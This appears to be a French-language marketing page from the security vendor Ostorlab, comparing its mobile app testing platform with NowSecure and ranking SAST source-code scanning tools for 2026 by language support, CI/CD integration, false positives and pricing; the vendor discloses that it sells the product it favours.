Les scanners à base de règles continueront de détecter les vulnérabilités qui paraissent anormales sur le réseau. Celles qui ne le paraissent pas — celles qui se cachent dans les hypothèses d'un workflow, ou dans un identifiant dont la surface d'autorisation complète n'a jamais été entièrement cartographiée — demandent quelque chose qui raisonne comme un attaquant : construire un modèle du système, formuler une hypothèse, la tester et continuer de se demander à quoi d'autre elle se rattache. C'est le véritable basculement technique que représente l'IA agentique en sécurité applicative, et c'est pourquoi la conversation en AppSec est passée de « pouvons-nous scanner plus vite » à « pouvons-nous penser comme un attaquant, en continu, à l'échelle d'un parc applicatif moderne ».

Ostorlab vs NowSecure : comparatif de la sécurité des applications mobiles

2026-07-27T16:47:00+02:00

Au-delà de l'AppSec mobile traditionnelle : pourquoi les équipes DevSecOps modernes remplacent NowSecure par Ostorlab

Toutes les plateformes MAST prétendent sécuriser les applications modernes. Peu sont réellement conçues pour la façon dont ces applications sont développées. Aujourd'hui, les applications mobiles reposent aussi souvent sur React Native et Flutter que sur du code natif, déploient des variantes régionales volontairement restreintes géographiquement, et cachent leur véritable surface d'attaque derrière le SSO, la 2FA et des parcours d'inscription en plusieurs étapes, et non un simple formulaire de connexion. Ce ne sont plus des cas limites : c'est la norme. Pourtant, la plupart des plateformes de scan les traitent encore comme des détails secondaires, greffés sur un modèle conçu pour un écosystème mobile plus simple. Ostorlab a été conçu dès l'origine pour résoudre ces problèmes précis, plutôt que d'adapter après coup une ancienne approche du scan. Cet article passe en revue six domaines où cette différence de conception se vérifie en pratique, par comparaison avec l'approche de NowSecure, centrée sur les pipelines d'entreprise.

À propos de cette comparaison

Cette comparaison est publiée par Ostorlab, qui développe et vend la plateforme Ostorlab comparée ici. Les descriptions de NowSecure s'appuient sur le site web public et la documentation de NowSecure ; celles d'Ostorlab s'appuient sur la documentation produit d'Ostorlab. Les informations sur les autres éditeurs reflètent leurs sites web et leur documentation publics au 27 juillet 2026.

Critères d'évaluation : modèle de tarification, intégration et déploiement CI/CD, tests de la logique métier et de l'authentification, résultats et preuves, prise en charge des frameworks multiplateformes, scan ciblé d'une seule vulnérabilité, test d'applications soumises à des restrictions géographiques, remédiation du code et prise en charge de Bring Your Own AI Key (BYOK).

Catégorie	NowSecure	Ostorlab
Modèle de tarification	Licences d'entreprise sur mesure	Jetons prépayés, avec remboursement des jetons inutilisés + sièges illimités gratuits
CI/CD et déploiement	Intégrations avec GitHub Actions, GitLab, Jenkins, CircleCI, Azure DevOps, Bitrise et Jira	Scan direct sans configuration depuis les stores d'applications, sans pipeline requis, plus prise en charge CI/CD (GitHub, GitLab, Azure DevOps, Jenkins, Bitbucket, CircleCI)
Logique métier et tests d'authentification	Tests sur appareils réels, avec des agents IA qui parcourent les flux authentifiés	Agentic Deep Scan enchaîne de façon autonome inscription → SSO → 2FA → impact sur le backend
Résultats et preuves	Rapports standard de vulnérabilités + score de risque	Résultats vérifiés par exploitation, avec preuves de niveau probant : PCAP, journaux de requêtes et réponses, étapes de reproduction
Prise en charge des frameworks multiplateformes	Flutter, React Native	Flutter, React Native, ainsi que HarmonyOS
Scan ciblé / d'une seule vulnérabilité	Aucun retest d'un résultat unique trouvé sur ses pages publiques	Single Vulnerability Assessment : vérifiez une CVE en quelques minutes, sans nouveau scan complet
Tests géo-restreints / régionaux	Aucune sélection de pays trouvée sur ses pages publiques	Accès direct aux stores par pays/région, sans VPN ni recherche manuelle de binaires
Remédiation du code	Recommandations de remédiation fournies ; correctifs non générés automatiquement	Correctifs de code générés par IA, prêts à fusionner, livrés dans GitHub/GitLab
Bring Your Own AI Key (BYOK)	Non trouvé sur ses pages publiques	✅

Bien résoudre ces problèmes commence par une plateforme qui ne crée pas ses propres frictions, en commençant par le sujet auquel toute évaluation finit par revenir : le coût.

1. Coût et passage à l'échelle

Lorsqu'on évalue une plateforme de test de sécurité des applications mobiles (MAST), le modèle de tarification est tout aussi déterminant que les capacités techniques. Les outils de sécurité doivent évoluer en douceur avec vos cycles de développement, sans vous pénaliser lorsque votre équipe grandit ou que votre portefeuille d'applications s'étend.

Le défi NowSecure

NowSecure repose sur une structure tarifaire plus traditionnelle, orientée grandes entreprises. Pour les petites équipes, ou les organisations qui maintiennent un grand nombre d'applications relativement simples, ce modèle introduit une friction importante. Des tarifs d'entrée élevés et des licences rigides créent une barrière à l'entrée importante et enferment souvent les équipes dans des engagements inflexibles, sans rapport avec leur volume de scans ou la taille de leur équipe.

L'avantage Ostorlab

Ostorlab repense la tarification DevSecOps en alignant les coûts sur l'usage réel et en facilitant la collaboration de toute l'équipe, sans les pénalités des licences traditionnelles.

FinOps transparent et remboursement des jetons inutilisés : contrairement aux lots de crédits rigides qui vous placent dans une logique du « à utiliser ou à perdre », Ostorlab s'appuie sur un portefeuille de jetons dynamique pour ses modèles d'IA. Si l'agent IA parvient à résoudre un chemin d'exploitation tôt dans un scan, tous les jetons inutilisés sont automatiquement remboursés sur le portefeuille de votre espace de travail à la fin du scan.
Collaboration illimitée et gratuite : la sécurité applicative moderne exige des contributions transverses. Ostorlab ne pénalise pas votre organisation avec une licence par siège. Les développeurs, les ingénieurs QA et les équipes sécurité peuvent collaborer librement avec un nombre de sièges illimité, ce qui garantit que chacun a accès aux données de remédiation sans faire grimper les coûts d'achat.
Bring Your Own Key (BYOK) : Ostorlab permet aux utilisateurs d'apporter leurs propres clés d'API d'IA, ce qui permet aux équipes d'utiliser leurs modèles d'IA générative préférés ou de s'intégrer sans friction aux modèles déjà pris en charge et approuvés par leur entreprise (comme les modèles d'OpenAI, d'Anthropic ou de Google).

Mis à jour le 1 octobre 2026 : précision que les remboursements s'appliquent aux jetons inutilisés et sont effectués à la fin d'un scan.

Mis à jour le 2 octobre 2026 : les déclarations sur NowSecure renvoient désormais vers ses pages publiques, ou indiquent lorsque nous n'y avons trouvé aucune mention.

Mis à jour le 6 octobre 2026 : la section sur l'automatisation reflète désormais les tests de flux authentifiés documentés par NowSecure.

Le prix est un critère parmi d'autres. Savoir si l'outil fonctionne réellement sans difficulté en est un autre…

2. Défis d'intégration et de déploiement

Un scanner de sécurité puissant n'est utile que si votre équipe parvient réellement à le mettre en route sans perturber son workflow. La facilité de déploiement et la possibilité de scanner des actifs en dehors d'un pipeline traditionnel sont des différences majeures entre les outils traditionnels et les plateformes DevSecOps modernes.

Le défi NowSecure

NowSecure est très axé sur l'intégration aux pipelines, ce qui peut devenir une arme à double tranchant. Les équipes plus petites ou plus réduites trouvent souvent la plateforme trop complexe à configurer. S'appuyer sur des configurations alambiquées, composer avec des exigences strictes d'environnement on-premise et être obligé de construire des intégrations CI/CD complexes juste pour lancer un simple scan de référence peut créer d'importants goulots d'étranglement opérationnels. Si un actif n'est pas parfaitement raccordé au pipeline, le scanner devient une corvée manuelle.

L'avantage Ostorlab

Ostorlab adopte une approche nettement plus agile : il supprime le prérequis d'un pipeline CI/CD pleinement mature en permettant des intégrations directes avec les environnements où vos applications se trouvent déjà.

Scan direct des stores sans configuration : Ostorlab se passe complètement d'intégrations de pipeline complexes ou de la recherche manuelle de binaires. Il se connecte directement aux App Stores mondiaux, à Google Play et à TestFlight. Les équipes sécurité peuvent simplement rechercher par nom d'application ou par bundle ID et importer les applications directement pour les scanner, en utilisant même le filtrage natif par pays/localisation pour récupérer et tester des variantes régionales soumises à des restrictions géographiques.
Surveillance continue des stores : au lieu de s'appuyer entièrement sur des déclencheurs CI/CD fragiles pour lancer les tests, Ostorlab suit automatiquement vos actifs de store connectés. Dès qu'un nouveau build ou un correctif urgent hors cycle est publié, Ostorlab le rescanne sans aucune intervention humaine, ce qui garantit une surveillance continue de votre posture de sécurité quelle que soit la manière dont la version a été déployée.

3. Limites de l'automatisation et angles morts de la logique métier

Le véritable test d'un scanner de sécurité dynamique est sa façon de gérer la complexité des applications mobiles modernes. De nombreux outils traditionnels peinent à comprendre la logique métier ou à parcourir les zones authentifiées, laissant les vulnérabilités profondes situées après la connexion totalement non testées.

Le défi NowSecure

NowSecure documente des tests sur appareils réels avec des agents IA qui parcourent les flux authentifiés : atteindre l'écran de connexion n'est donc pas le problème. La différence tient à la profondeur des tests après la connexion, et aux preuves que chaque plateforme remet aux développeurs. Des résultats sans preuve nécessitent encore une expertise de sécurité manuelle pour les examiner, les prouver ou les écarter.

L'avantage Ostorlab

Ostorlab aborde les tests moins comme un scanner rigide que comme un pentesteur automatisé intelligent, conçu pour surmonter les angles morts traditionnels de l'automatisation.

Exploitation autonome : au lieu d'une simple recherche de motifs, l'Agentic Deep Scan d'Ostorlab agit comme un pentesteur automatisé. Il ne se contente pas de signaler des vulnérabilités « possibles » : il tente activement de les exploiter. Lorsqu'une faille est trouvée, Ostorlab renvoie des preuves vérifiées de niveau probant, comme des PCAP et des stack traces, ce qui évite à votre équipe de courir après des faux positifs.
Navigation avancée après authentification : Ostorlab ne reste pas bloqué à la porte d'entrée. L'agent est conçu pour gérer intelligemment des parcours de connexion complexes, notamment l'inscription en plusieurs étapes, l'authentification unique (SSO), l'authentification à deux facteurs (2FA/OTP) et les changements dynamiques d'état de l'interface, afin que les surfaces d'attaque profondes situées après la connexion soient sondées en profondeur.
Preuve visuelle (pas de boîte noire) : pour contrer le « faux sentiment de sécurité » inhérent aux tests automatisés, Ostorlab fournit une carte de chaleur visuelle de la couverture du scan. Elle élimine l'effet boîte noire en vous montrant chaque écran, chaque transition de machine à états et chaque WebView que l'agent a parcourus, et prouve exactement ce qui a été testé, et ce qui ne l'a pas été.

C'est le deuxième point sur lequel les outils traditionnels traitent comme un cas limite, plutôt que comme la norme, un véritable changement dans la façon dont les applications sont développées : le développement moderne ne se fait plus dans un seul langage ni selon une seule architecture.

4. Lacunes fonctionnelles et prise en charge des frameworks

Alors que le développement mobile se tourne massivement vers les frameworks multiplateformes et les environnements hybrides complexes, un scanner de sécurité doit être capable de comprendre l'architecture sous-jacente. L'analyse statique générique ne suffit plus lorsque la logique métier est répartie entre différentes couches de code natif et non natif.

Le défi NowSecure

Si NowSecure gère bien les applications natives traditionnelles, les équipes rencontrent souvent des limites avec certains frameworks multiplateformes. Les applications hybrides cachent des risques dans les ponts personnalisés et la logique compilée entre leurs couches natives et web, et les pages publiques de NowSecure ne décrivent pas la profondeur de ses tests sur ces éléments. Les équipes qui ne peuvent pas confirmer cette couverture ajoutent souvent d'autres outils pour combler le manque. Cette approche disparate fragmente la posture de sécurité et complique le processus de remédiation pour les développeurs.

L'avantage Ostorlab

Ostorlab est conçu pour les stacks de développement modernes et offre une plateforme unifiée qui comprend nativement les frameworks traditionnels comme émergents.

Couverture multiplateforme native : Ostorlab offre une couverture dédiée, immédiatement disponible, pour les frameworks multiplateformes modernes comme React Native, Flutter et MAUI. Au lieu de rester en surface, le moteur rétro-ingénierie en profondeur la logique personnalisée et les ponts natifs propres à ces frameworks, et met au jour des fuites de données cachées et des failles logiques que les scanners génériques manquent.
Une plateforme DevSecOps tout-en-un : plutôt que de vous obliger à acheter et à intégrer plusieurs outils spécialisés, Ostorlab regroupe le DAST, le SAST, la Software Composition Analysis (SCA), la détection de secrets, les tests d'API et la gestion de la surface d'attaque dans une seule interface. Il étend même sa prise en charge à des écosystèmes de niche et émergents, par exemple avec des capacités de scan direct des applications HarmonyOS.

Comprendre chaque framework et chaque couche d'une application n'est que la moitié du chemin si obtenir ces réponses implique encore de lancer des scans complets à chaque fois.

5. Friction opérationnelle et scan ciblé

Le véritable coût d'un outil de sécurité ne se limite pas à ses frais de licence : c'est aussi le temps d'ingénierie perdu à attendre des scans de périmètre complet alors que vous n'avez besoin de réponses que sur un seul problème, et l'effort nécessaire pour corriger les failles découvertes.

Le défi NowSecure

Nous n'avons trouvé sur les pages publiques de NowSecure aucune option pour scanner ou retester une seule vulnérabilité. Lorsque vérifier un correctif urgent pour une seule faille implique de rescanner toute l'application, les développeurs attendent un scan complet pour contrôler un seul problème. Demandez à NowSecure comment un correctif isolé est vérifié. La remédiation implique aussi de fouiller de longs rapports pour déchiffrer des avertissements génériques.

L'avantage Ostorlab

Ostorlab est conçu pour une précision chirurgicale et une vérification rapide, ce qui vous permet de cibler des problèmes de sécurité précis sans la friction opérationnelle d'un scan complet de l'application.

Analyses approfondies ciblées et tests chirurgicaux (DigDeeper et SVA) : au lieu de lancer un scan lourd, de plusieurs heures, pour chaque scénario, Ostorlab vous donne un contrôle précis :
DigDeeper : permet aux équipes sécurité de zoomer et d'approfondir l'investigation d'un résultat existant, en posant des questions ciblées et en recueillant du contexte supplémentaire sur une faille précise.
Single Vulnerability Assessment (SVA) : permet de lancer un scan ciblé sur une vulnérabilité, une CVE ou un correctif urgent précis, ce qui fait gagner énormément de temps et de calcul en évitant une nouvelle analyse complète de l'application.
Remédiation du code en un clic : plutôt que de remettre aux développeurs des PDF statiques, Ostorlab génère des correctifs de code sécurisés pilotés par l'IA, prêts à fusionner, directement dans les workflows GitHub et GitLab, ce qui permet aux équipes de les examiner et de les appliquer en quelques secondes.

Si vos applications sont livrées dans des versions différentes selon les pays ou les régions, c'est un problème qu'Ostorlab résout depuis longtemps.

6. Tester des applications soumises à des restrictions géographiques

De nombreuses applications d'entreprise sont régionales, limitées à certains pays en raison de la conformité, de réglementations bancaires locales ou de licences. Tester ces applications crée souvent une friction opérationnelle importante lorsque les outils de sécurité ne peuvent pas accéder aux binaires ou aux backends verrouillés par la localisation.

Le défi NowSecure

Nous n'avons trouvé sur les pages publiques de NowSecure aucune récupération d'applications selon la localisation. Sans cela, tester une application soumise à des restrictions géographiques exige des contournements manuels pour passer les blocages régionaux, ce qui ajoute de la friction pour les équipes qui doivent auditer des fonctionnalités sensibles à la localisation ou scanner des variantes régionales d'applications sur différents marchés.

L'avantage Ostorlab

Ostorlab gère nativement les tests régionaux, sans configuration, ce qui élimine complètement le besoin de configurations réseau complexes, de VPN ou d'intégrations tierces.

Récupération régionale sans configuration : sélectionnez directement le pays cible lors de l'import d'une application depuis les App Stores mondiaux ou Google Play. Ostorlab récupère automatiquement le binaire localisé, sans VPN ni configuration de proxy manuelle.
Exécution native avec géolocalisation : l'agent de test simule automatiquement la région cible pendant l'analyse dynamique, ce qui garantit que les API et la logique métier restreintes par la localisation s'exécutent sans accroc, comme si le scanner se trouvait physiquement dans ce pays.

Limites de cette comparaison

Les capacités, les tarifs et la documentation des éditeurs changent fréquemment. Les informations sur NowSecure ont pu évoluer depuis le 27 juillet 2026.
Aucun benchmark indépendant des taux de détection, des taux de faux positifs ou de la vitesse de scan n'a été réalisé pour cet article.
Cet article ne rend pas compte de tests pratiques de NowSecure. Les déclarations sur NowSecure reflètent ses documents publics ; celles sur Ostorlab reflètent la documentation produit d'Ostorlab.
Vérifiez les capacités, les tarifs et les options de déploiement actuels directement auprès de chaque éditeur, idéalement en testant les deux plateformes sur vos propres applications.

En résumé : conçu pour la façon dont les applications fonctionnent réellement aujourd'hui

Dans ces six domaines, le même constat se répète : la plateforme de NowSecure reflète une époque antérieure du développement mobile, où les applications étaient majoritairement natives, où les tests suivaient un unique chemin CI/CD et où un scan de périmètre complet était un prix acceptable à payer pour obtenir une réponse. Ostorlab a été conçu pour l'écosystème mobile tel qu'il existe réellement aujourd'hui : multiplateforme par défaut, distribué régionalement, protégé par une véritable authentification et non un simple formulaire de connexion, et tarifé selon la façon dont les équipes l'utilisent réellement plutôt que selon la taille de leur organigramme.

Rien de tout cela ne fait de NowSecure une mauvaise plateforme. C'est une plateforme qui résout bien les problèmes d'hier. La question qui mérite d'être posée lors de votre prochaine évaluation n'est pas seulement « cet outil trouve-t-il des vulnérabilités ? ». C'est « cet outil a-t-il été conçu pour l'application que je livre réellement ? »

Si vous évaluez des plateformes MAST et souhaitez voir comment Ostorlab gère votre stack, votre région ou votre framework, lancez un scan gratuit ou réservez une démo pour constater la différence par vous-même.

Vous utilisez déjà NowSecure ? Comparez Ostorlab et NowSecure sur la même application : même cible, même durée. Un résultat ne compte qu'une fois reproduit par votre équipe.

Meilleurs outils SAST en 2026 : comparatif des outils d'analyse de code source

2026-07-27T10:00:00+02:00

Réponse rapide : les meilleurs outils SAST en 2026 sont Ostorlab, GitHub Code Security (CodeQL), Semgrep, Snyk Code, Checkmarx One, SonarQube, Veracode, Black Duck Coverity et OpenText Fortify. Chacun convient à une équipe différente :

Ostorlab pour des vulnérabilités dont l'exploitabilité est prouvée, avec le code, les applications web, les API et les applications mobiles testés ensemble.
GitHub Code Security (CodeQL) pour les équipes qui travaillent sur GitHub.
Semgrep pour des scans rapides et des règles personnalisées.
Snyk Code pour les développeurs qui travaillent dans l'éditeur de code et la pull request.
Checkmarx One pour la gouvernance en entreprise et une large couverture de langages.
SonarQube pour la sécurité intégrée aux portes de qualité du code.
Veracode pour les entreprises qui scannent aussi les binaires.
Black Duck Coverity pour les grandes bases de code C et C++.
OpenText Fortify pour les programmes AppSec établis qui ont besoin d'un déploiement on-premises.

Ostorlab est l'outil SAST à choisir lorsque le problème est un trop grand nombre de vulnérabilités non prouvées : son agent IA analyse le code source à la recherche de vulnérabilités et de failles logiques, et confirme les vulnérabilités par un exploit fonctionnel lorsque l'application web, l'API ou l'application mobile en cours d'exécution fait partie du même scan. GitHub Code Security, Semgrep et Snyk Code sont les choix les plus solides pour les workflows de développeurs, et Checkmarx One, Veracode et OpenText Fortify pour la gouvernance en entreprise.

Ostorlab en un coup d'œil

De quoi s'agit-il : Ostorlab est une plateforme de test de sécurité applicative pour le code source, les applications web, les API et les applications mobiles (Android, iOS et HarmonyOS).

Approche SAST : un agent IA analyse le code à la recherche de vulnérabilités, de failles logiques et de bugs en plusieurs étapes, au lieu d'un jeu de règles figé.

Principal facteur de différenciation : lorsque l'application en cours d'exécution est dans le périmètre, chaque vulnérabilité confirmée par les agents IA est accompagnée d'un exploit fonctionnel, de sa sévérité, de son impact et de preuves. Les dépôts scannés seuls obtiennent des résultats avec le contexte du code et des preuves.

Langages : 53 listés sur la page du code source, de Python, Java et Go à COBOL, ABAP et Solidity.

Workflow : GitHub, GitLab, Bitbucket, Azure DevOps et Git auto-hébergé ; correctifs poussés dans la pull request.

Déploiement : SaaS, hybride, ou nœuds de scan on-premises, avec Ostorlab Cyber Models ou votre propre clé de fournisseur d'IA.

Tarifs : plans publiés.

À propos de ce guide

Ce guide est publié par Ostorlab, qui développe l'un des outils comparés. Les affirmations sur les autres outils proviennent du site web et de la documentation de chaque éditeur, consultés le 7 octobre 2026 et listés dans les Sources. Les affirmations sur Ostorlab proviennent des pages produit et de la documentation d'Ostorlab. Les éditeurs décrivent leurs produits en des termes différents ; lorsque des chiffres ne sont pas directement comparables, nous le précisons.

Critères d'évaluation : prise en charge des langages, intégration CI/CD et aux dépôts, couverture des scans, traitement des faux positifs, preuve de l'exploitabilité des vulnérabilités, correctifs assistés par IA, déploiement et tarifs.

Qu'est-ce que le SAST ?

Le test statique de sécurité des applications (SAST) analyse le code source d'une application pour trouver des vulnérabilités de sécurité avant sa mise en production. Les outils d'analyse de code source combinent généralement le SAST avec l'analyse de la composition logicielle (SCA) pour les dépendances open source et la détection de secrets pour les clés et jetons divulgués.

Trouver des problèmes ne représente qu'une partie du travail. Selon le CrowdStrike 2024 State of Application Security Report, 60 % des équipes AppSec placent la priorisation des vulnérabilités parmi leurs principaux défis. Le meilleur outil SAST pour une équipe est celui qui s'adapte à ses langages et à son workflow, et qui l'aide à corriger les vulnérabilités qui comptent.

Pour une explication plus approfondie du fonctionnement de l'analyse de code source, lisez Sécurité du code source : du signal au risque validé.

Les meilleurs outils SAST en un coup d'œil

Plateforme	Langages	CI/CD	Couverture des scans	Réduction du bruit	Correctifs assistés par IA	Tarifs
Ostorlab	53 langages listés, de Python, Java et Go à COBOL, ABAP et Solidity	GitHub, GitLab, Jenkins, Azure DevOps, Bitbucket, CircleCI, Harness	SAST, SCA et secrets, ainsi que des tests web, API et mobiles dans le même scan	Vulnérabilités confirmées par un exploit fonctionnel lorsque l'application en cours d'exécution est dans le périmètre	Correctifs poussés dans la pull request	Plans publiés
GitHub Code Security (CodeQL)	10 groupes de langages, dont C/C++, C#, Go, Java et Kotlin, JavaScript et TypeScript, Python, Ruby, Rust et Swift	GitHub Actions ; CodeQL CLI pour les autres CI	SAST ; secrets avec Secret Protection ; dépendances via Dependabot	Analyse sémantique des flux de données	Copilot Autofix	30 $ Code Security, 19 $ Secret Protection, par committer et par mois
Semgrep	35+ langages	GitHub Actions, GitLab CI/CD, Jenkins, Bitbucket, CircleCI, Buildkite, Azure Pipelines, Semaphore	SAST, SCA, secrets	Semgrep Multimodal trie les résultats et signale les faux positifs probables	Instructions de correction pas à pas dans la pull request	Gratuit jusqu'à 10 contributeurs ; Teams à partir de 30 $ par contributeur et par mois
Snyk Code	16 groupes de langages, dont Java et Kotlin, JavaScript, TypeScript, Python, Go, .NET et Swift	GitHub Actions, GitLab CI, Jenkins, CircleCI, Azure Pipelines	SAST, avec SCA, conteneurs et IaC dans la plateforme Snyk	Analyse symbolique et par apprentissage automatique	Snyk Agent Fix	Plan gratuit ; Team à partir de 25 $ par mois
Checkmarx One	Large, y compris des langages historiques comme COBOL et PL/SQL	GitHub Actions, GitLab, Jenkins, Azure DevOps	SAST, SCA, secrets, IaC, sécurité des conteneurs et des API	Analyse et tri des résultats par IA	Remédiation par IA et Developer Assist	Sur devis
SonarQube	35+ langages pour l'analyse de sécurité, 40+ au total	Server : GitHub Actions, GitLab CI/CD, Bitbucket Pipelines, Azure Pipelines, Jenkins. Cloud ajoute CircleCI et Travis CI	SAST avec analyse de taint (éditions payantes), secrets, IaC	Analyse inter-fichiers et inter-fonctions	AI CodeFix (Cloud Team et Enterprise, Server Enterprise et Data Center)	Offre gratuite Cloud ; Team à partir de 34 $ par mois ; Server sur devis
Veracode	100+ langages et frameworks, source et binaire	Jenkins, Maven, Gradle, GitHub, GitLab, Azure DevOps	SAST, SCA, DAST, IaC, conteneurs	Annonce un taux de faux positifs inférieur à 1,1 %	Veracode Fix	Sur devis
Black Duck Coverity	21 à 22 langages, 200+ frameworks, dont C/C++, CUDA et Fortran	Bridge CLI pour Jenkins, GitLab, Bitbucket, GitHub et Azure DevOps	SAST, avec SCA dans la plateforme Black Duck	Analyse statique approfondie conçue pour faire ressortir les vrais positifs	Polaris Assist	Sur devis ; Coverity Scan gratuit pour les projets open source
OpenText Fortify	44+ langages, 350+ frameworks	Jenkins, GitHub, GitLab, Azure DevOps	SAST, avec DAST et SCA dans le portefeuille Fortify	Suppression assistée par IA des faux positifs probables	Fortify Remediation Aviator	Sur devis

Comparaison des outils SAST

Prise en charge des langages

Langages de programmation pris en charge par Ostorlab Source Code Scan

La prise en charge des langages détermine si un seul outil peut couvrir toutes vos applications. Veracode liste plus de 100 langages et frameworks, OpenText Fortify 44+, SonarQube 35+ pour la sécurité, et Semgrep 35+. La page du code source d'Ostorlab en liste 53, dont des langages moins courants comme COBOL, ABAP, Solidity et Move. Snyk Code prend en charge 16 groupes de langages et CodeQL 10, ce qui couvre les langages les plus utilisés.

Pour la plupart des équipes, la prise en charge des langages ne sera pas décisive. Elle compte lorsque vous travaillez sur de nombreuses stacks ou utilisez des langages historiques ou de niche.

CI/CD et intégration aux dépôts

Intégrations CI/CD d'Ostorlab

Tous les outils présentés ici s'intègrent aux principaux systèmes de CI et fournisseurs Git ; la question est donc de savoir s'ils prennent en charge les vôtres. GitHub Code Security est natif de GitHub. Ostorlab, Semgrep et Snyk Code se connectent à des serveurs Git auto-hébergés, Snyk via Snyk Broker. Les intégrations CI natives de SonarQube diffèrent entre Server et Cloud.

Intégrations aux dépôts d'Ostorlab Source Code Scan

Couverture des scans et preuve d'exploitation

Carte de chaleur de la couverture d'Ostorlab Source Code Scan

La plupart des outils combinent le SAST avec la SCA et la détection de secrets, et les plateformes d'entreprise ajoutent des tests IaC, de conteneurs, d'API et dynamiques. Ils diffèrent sur ce qui se passe après le signalement d'une vulnérabilité. Les scanners à base de règles et d'analyse de flux de données signalent une vulnérabilité possible et laissent la preuve à votre équipe.

Ostorlab ajoute une étape : dans un scan multi-actifs, son agent tente d'exploiter chaque vulnérabilité du code contre l'application web, l'API ou l'application mobile en cours d'exécution, et enregistre la requête, la réponse et l'impact. Une vulnérabilité avec un exploit fonctionnel n'a pas besoin d'être discutée.

Faux positifs

Résultats d'Ostorlab classés par exploitabilité

Un faux positif est une alerte pour une faille qui n'existe pas ou qui est inatteignable. Chaque éditeur les réduit différemment : CodeQL avec l'analyse sémantique des flux de données, SonarQube avec l'analyse inter-fichiers, Semgrep et OpenText Fortify avec un tri par IA qui signale les faux positifs probables, et Checkmarx One avec l'analyse des résultats par IA. Veracode annonce un taux de faux positifs inférieur à 1,1 %. Ces chiffres sont mesurés de façons différentes ; ils ne peuvent donc pas être comparés directement.

Ostorlab réduit le bruit par la preuve plutôt que par le filtrage : lorsque l'application en cours d'exécution est dans le périmètre, une vulnérabilité confirmée est accompagnée d'un exploit fonctionnel.

Correctifs assistés par IA et suivi des correctifs

Correctifs d'Ostorlab poussés dans la pull request

Les neuf outils suggèrent ou génèrent des correctifs avec l'IA : Copilot Autofix, Snyk Agent Fix, Semgrep Multimodal, SonarQube AI CodeFix, Veracode Fix, Polaris Assist, Fortify Remediation Aviator, Checkmarx Developer Assist, et les correctifs d'Ostorlab poussés dans la pull request.

Vérifier qu'un correctif a fonctionné compte autant que l'écrire. Dans Ostorlab, chaque vulnérabilité est suivie dans un ticket : lorsque le ticket est marqué comme corrigé, les scans suivants le vérifient, le marquent comme vérifié si le problème a disparu et le rouvrent s'il réapparaît.

Quel outil SAST vous convient ?

Chaque outil présenté ici a de vraies forces. Le bon choix dépend de votre programme de sécurité, de votre workflow de développement et de vos exigences de déploiement.

Ostorlab

Ostorlab est un outil SAST pour les équipes qui veulent des vulnérabilités dont l'exploitabilité est prouvée : son agent IA analyse le code source à la recherche de vulnérabilités et de failles logiques, et confirme les vulnérabilités par un exploit fonctionnel lorsque l'application web, l'API ou l'application mobile en cours d'exécution fait partie du même scan.

Cas d'usage idéal : les équipes qui veulent corriger les vulnérabilités dont l'exploitabilité est prouvée, et celles dont le risque traverse le code, les API, les applications web et les applications mobiles.

Ostorlab scanne le code source avec un agent IA plutôt qu'avec un jeu de règles figé ; il recherche donc des failles logiques et des bugs en plusieurs étapes, en plus des schémas de vulnérabilités connus. Sa page du code source liste 53 langages. Dans un scan multi-actifs, les dépôts sont scannés avec les applications web, les API et les applications mobiles qui en sont issues, et l'agent tente d'exploiter chaque vulnérabilité du code contre la cible en cours d'exécution. Un dépôt scanné seul obtient des résultats avec le contexte du code et des preuves.

Points forts

Chaque vulnérabilité confirmée par les agents IA sur une application en cours d'exécution est accompagnée d'un exploit fonctionnel, de sa sévérité, de son impact et de preuves.
Code, applications web, API et applications Android, iOS et HarmonyOS dans un seul scan et un seul rapport.
Correctifs poussés dans la pull request ; chaque vulnérabilité est suivie dans un ticket, et les scans suivants rouvrent le ticket si un problème corrigé réapparaît.
SaaS, hybride, ou nœuds de scan on-premises, avec Ostorlab Cyber Models ou votre propre clé de fournisseur d'IA.

Points d'attention

Pas de plugin pour les éditeurs de code ; les développeurs travaillent depuis la pull request et via des clients MCP.
Conçu autour de l'analyse agentique plutôt que de l'écriture de règles. Les équipes qui écrivent de nombreuses règles personnalisées préféreront peut-être Semgrep.

Tarifs : plans publiés.

GitHub Code Security (CodeQL)

GitHub Code Security (CodeQL) est l'outil SAST pour les équipes dont le code et les pull requests se trouvent sur GitHub, avec l'analyse de code CodeQL et Copilot Autofix intégrés à la pull request.

Cas d'usage idéal : les organisations dont le code et les pull requests sont sur GitHub.

GitHub Advanced Security est désormais vendu sous la forme de deux produits : GitHub Code Security et GitHub Secret Protection. Code Security comprend l'analyse de code CodeQL et Copilot Autofix, qui suggère des correctifs dans la pull request. En dehors de GitHub, l'option principale est GitHub Advanced Security for Azure DevOps.

Points forts

Analyse sémantique des flux de données entre fichiers.
Natif de GitHub : l'analyse de code peut être activée depuis les paramètres du dépôt, avec des alertes sur la pull request.
Copilot Autofix dans la pull request.

Points d'attention

Moins de langages que les plateformes d'entreprise comme Checkmarx One ou Veracode.
Meilleure expérience au sein de GitHub.

Tarifs : 30 $ par committer actif et par mois pour Code Security et 19 $ pour Secret Protection, sur un plan GitHub Team ou Enterprise.

Semgrep

Semgrep est un outil SAST pour les équipes qui veulent des scans rapides et des règles personnalisées qu'elles écrivent elles-mêmes, avec une Community Edition open source.

Cas d'usage idéal : les équipes orientées développeurs qui veulent un scan rapide et des règles personnalisées.

Semgrep Code prend en charge 35+ langages pour le SAST. Sa couche d'IA, Semgrep Multimodal, trie les résultats à partir de votre code et de votre historique de tri et suggère si un résultat peut être ignoré ; Semgrep annonce qu'elle repère les faux positifs des résultats de Semgrep Code avec plus de 95 % de précision. La Community Edition est open source sous LGPL 2.1.

Points forts

Scans rapides et règles personnalisées faciles à écrire.
Les scans peuvent s'exécuter en local ou en CI, de sorte que le code source n'a pas à quitter votre environnement.
Offre gratuite et Community Edition open source.

Points d'attention

Les règles personnalisées demandent une maintenance continue.
Centré sur le code ; il ne teste pas les applications web, les API ou les applications mobiles en cours d'exécution.

Tarifs : gratuit jusqu'à 10 contributeurs et 10 dépôts ; Teams à partir de 30 $ par contributeur et par mois ; Enterprise sur devis.

Snyk Code

Snyk Code est un outil SAST orienté développeurs pour les équipes qui veulent un retour de sécurité dans l'éditeur de code et la pull request.

Cas d'usage idéal : les équipes de développement qui veulent un retour de sécurité pendant qu'elles écrivent du code.

Snyk Code prend en charge 16 groupes de langages et propose des plugins pour VS Code, les IDE JetBrains, Visual Studio et Eclipse. Snyk Agent Fix génère et vérifie des correctifs candidats. Snyk est un SaaS ; les équipes qui ont un serveur Git auto-hébergé se connectent via Snyk Broker.

Points forts

Intégration à l'éditeur de code et à la pull request.
Fait partie d'une plateforme plus large avec scan SCA, de conteneurs et d'IaC.
